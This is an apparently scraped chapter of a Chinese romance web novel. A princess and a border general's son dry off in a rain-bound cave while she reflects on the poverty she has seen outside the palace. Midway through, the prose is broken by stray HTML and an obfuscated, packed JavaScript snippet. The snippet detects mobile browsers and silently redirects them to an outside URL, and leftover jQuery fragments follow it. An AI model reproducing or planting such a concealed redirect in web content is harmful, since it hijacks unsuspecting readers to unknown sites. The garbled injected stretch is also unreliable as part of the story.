66. 此行收获

作品:《明月照君还

    “缘何会认错呢……”


    裴定柔思忖片刻,却想不出所以然,只存疑在心,预备回宫后告知父兄。


    她里头的衣裙并不算厚,坐在火堆前,不过一炷香的功夫,衣裙面上的湿意便淡了七八分。


    只是衣襟裙摆的几道绒边,还黏着水汽。


    运动奔走带来的热劲很快散去,火光照不着的后背便迅速冷了下来。


    一面热乎乎,另一面凉津津的,叫人很是难受。


    裴定柔打了个喷嚏,挪了挪屁股,侧过身子来烤。


    她探出手,摸了摸面前的短袄和靴袜。


    袜子的水汽算是烘散了,很是干燥,可短袄和鹿皮靴仍旧湿哒哒的。


    一时半刻只怕难得穿上身了。


    闲坐在此处亦是无聊,裴定柔便开口寻了话题,同韩赴有一搭没一搭的聊了起来。


    “出来不过半日,咱们这番经历,都可以写一出精彩的话本了。”


    韩赴将脚旁树枝折断,往火堆中扔。


    橙红的火焰腾跃得更高了。


    他淡淡开口:“后悔出来了吗?”


    皇宫中有华服美裘、金钗玉钏,公主的一餐膳食可以摆满桌案,想吃什么零嘴,立时便有人奉上。


    身侧有三五侍女宫人,帮着上妆梳头,伺候日常进出。


    即便是裴定柔懒怠行走,也有撵轿来代步。


    这样优渥的生活,自然惬意得很。


    若是今日不出宫,裴定柔约莫也是窝在自个儿宫里。


    前头放个烧着银骨炭的薰笼,后面垫上光滑柔软的缎被,身旁摆些品相精致的糕饼果子。


    他几乎能想象到裴定柔怀里抱着个软枕,一面看话本子,一面抓果子来吃的场面。


    可现在出了宫,无车无马,徒步而行。


    不仅直面生民疾苦,令她深受震撼,后又遇上埋伏刺杀,人险些丢了性命。


    那副单薄瘦削的身子,更是在数九寒冬,淋了这么大一场雨。


    在雨中狼狈避让之时,裴定柔被浇得浑身湿透,现在只能呆在这洞中,自己动手将衣裳烤干。


    这样的遭遇,对于自小长在宫中,受父兄庇佑呵护的小公主来说,简直算是噩梦一场。


    或许今日之后,她失了探趣的兴味,便不再想着出宫了。


    如同从前那样,人满头步摇叮当响,欢欢喜喜地呆在落柏宫,做她的嘉玉公主,其实也不错。


    “不后悔啊。”


    裴定柔的回答在他意料之外:“我倒觉得此番出宫,见识增长不少。”


    从前,她对宫外世界的认知很是模糊。


    许多事,或是听旁人讲述,或是阅览书籍话本而得的,裴定柔从未亲眼见过。


    不论是歌颂天下太平,还是感叹世道艰难,隔着一面高墙,她终不能真切体会。


    此番裴定柔出宫,初衷虽是为了拾趣,却将模糊的印象变得现实真切了。


    裴定柔知道,东晟江山辽阔,远处自然有更多奇山异景不曾观,人情冷暖不曾尝。


    出来半日而已,连京都都无法穷尽,莫提地方州府和边塞风光了。


    纵然如此,裴定柔仍旧感到满足。


    “今日在街市逛了许久,沿路走来,除却那些新奇的玩意儿外,我还见了不少人和事,尤其是那对父女……”


    衣着单薄的父亲挑着竹筐中光脚的娃娃,二人在寒风中战栗着。


    那场景,任谁瞧了都不免心间触动,生出浓厚的同情来。


    她不是井底之蛙,不是不知道宫外也有穷人。


    但在裴定柔的料想中,世道再怎样艰难,穷人无非是节衣缩食,穿不到漂亮衣裳,吃不到可口的膳食。


    总还是能勉强度日的。


    她亦明白,身份差别之下,平头百姓自然不能同王公贵族的生活待遇比肩。


    城中见到的那一排偏僻住坊,已然打破了裴定柔固有的设想。


    那些百姓住着茅草破落房,肘处袖口磨得发白了也舍不得丢身上衣服,一个一个补丁打上去。


    初次见了,她还当是百岁衣,或是什么民间流行的穿法。


    回想起那时说的一些话,裴定柔自己都觉得荒谬。


    却不曾想出城之后,二人见到的实际情况,彻底粉碎了她的印象,令裴定柔无比震惊。


    现实远比想象中严峻得多。


    尤其是听了那父亲讲述之后,裴定柔才知道,原来人的境遇,可以糟糕到这种地步。


    走投无路之下,当父亲的为了换取几两银子,竟将亲生女儿当货物一样典卖。


    原来东晟百姓中,饥寒交迫、挣扎求生者,为数不少。


    甚至连她在城郊见到的这一家,境遇在当中都不算是最惨的。


    大把大把的地方百姓,为躲避战乱天灾,携家带口,背井离乡,一路乞讨求生。


    死在半路上的,十之七八,草席一卷,便算料理了后事。


    裴定柔思忖着,将心中之想,尽数吐出。


    韩赴默默听完她一番讲述,眼底情绪涌出。


    百姓如何艰难,他随父亲在关外戍守十几年,见到的只会比她更多。


    小公主今日所见,一隅而已。


    东晟边陲,氐漠人时有出没,狡借追寻走失牛羊,闯入村落,或偷或抢。


    人口、财物、牲畜、布匹、盐巴,总之是看到什么合意的,便将之据为己有。


    那些狡诈阴滑的王八蛋,夺了东西就策马而去。


    故而等到东晟官吏兵卒赶到,氐漠人早就不见踪影。


    偶尔抓获几个,亦是仗着平民身份,丝毫不忌惮边地守军。


    更有甚者,杀人越货。


    他一时激愤,恨不能将犯事的氐漠人尽数处决,可却被父亲拦住了。


    韩随知道,这些氐漠人骚扰村落,除了掠夺财物外,更是要挑拨两国关系。


    若东晟这边忍不住先发制人,那么氐漠便有了借口进犯。


    因此,他们一干人只得加紧戍守巡查,若发现氐漠贼人,擒获之后,便呵斥驱逐出境。


    但那些氐漠人委实可恶,屡屡骚扰,声东击西,叫人防不胜防。


    百姓们被迫内迁,蝗祸作乱时,为了活下去,啃食树皮草根。


    村庄十里,见不着一棵全须全尾的树。


    听闻逃荒之路,竟有人易子相食,惨烈异常。


    从前答允裴定柔,给她讲些宫外的见闻。


    而这些过于残忍的,他自然不会提起。


    “韩赴,我们能为百姓们做些什么呢?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245429|171179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    裴定柔的话打断了韩赴的思绪。


    这句话,她之前便提过,如今再提,当是另有一番思考。


    “当政者,自该为江山社稷而计,为百姓福祉而谋。”


    阿耶往日常说,身在其位,不可任性妄为。


    君王之尊,是万千臣民奉养而得,故而要兢兢业业,为生民立命,担天下之责。


    那便是希望,东晟百姓都能生活丰足,安享太平。


    她似乎对这话体会更深了。


    唯愿天佑东晟,百姓们能不受饥挨冻,再不要见到典卖女儿度日这样的凄凉之景。


    “所以这一趟,于我而言,收获颇丰。就是……方才那一场,过于惊险刺激了。”


    想到他胳膊上血淋淋的豁口,裴定柔垂眸,声音放轻了不少:“还连累你受伤,委实是……”


    任谁听了都能察觉说话人的后悔。


    火光在洞壁上映出两道身影,一道蜷着身子,抱着膝盖,瘦瘦小小,动作看上去莫名泛着委屈。


    叫人心疼。


    韩赴望着那道小小身影,失笑道:“不必介怀。”


    常年戍守边地,同氐漠人缠斗,负伤流血都习以为常。


    大小战役留在身上的伤,哪一样都比这道严重。


    苏其谷一战,韩赴单侧肩膀被贯穿,血几乎将里外衣裳染透。


    眼下胳膊上这道小口子,于他而言,算不得什么伤。


    “要介怀,要介怀的。”


    裴定柔抱着膝盖,思忖道:“等回去了,请医官仔细看看,我宫里药匣子有不少灵药,只是不知用不用得上。”


    里头治外伤、内伤、头疼脑热的药都有,平日放在宫里,作应急之用。


    “不过也无妨,太医局和六司的药材都齐备,选最合用的给你敷。”


    她喃喃念着,听得韩赴唇角牵起。


    “再弄些精致可口的药膳,补补气血。人参红枣炖乌鸡、虫草清炖乳鸽,阿胶桂圆汤,连吃一月,保证把流掉的血都补回来。”


    外头的雨势似乎愈发猛烈了,还起了大风,雨滴被吹吹打打,直往洞里飘。


    只怕还要几个时辰才能休止。


    裴定柔又打了个喷嚏,有些担心:“这雨要下到几时啊。”


    “答应阿耶黄昏前便回宫的,若是耽搁了,只怕阿耶和阿兄要担心了。”


    她坐了一会,听着鼻音重了。


    “衣服干了就快穿上。”


    裴定柔穿了鞋袜,欲要伸手去探那件短袄。


    谁知往回扯的时候,衣角不知道挂到何处,她加重几分力气,仍旧拽不动。


    烦躁得很。


    见状,裴定柔双手拽住短袄襟口,卯足力气往回一拉。


    衣服回拽,却因施力过大,打向了一旁韩赴临时搭建的“架子”。


    树枝从根部折断,上面挂着的袍子落到地上。


    两人隔挡突然撤去,饶是韩赴也未能及时反应过来。


    裴定柔上身只一件绸衣,薄得很,虽说烤干了,未曾贴在身上,到底隐隐透出肌肤颜色。


    且绸衣的衣襟松松,露出脖颈下寸余白皙。


    如玉一般。


    !!


    二人相视后微愣。


    随即,皆慌张起来。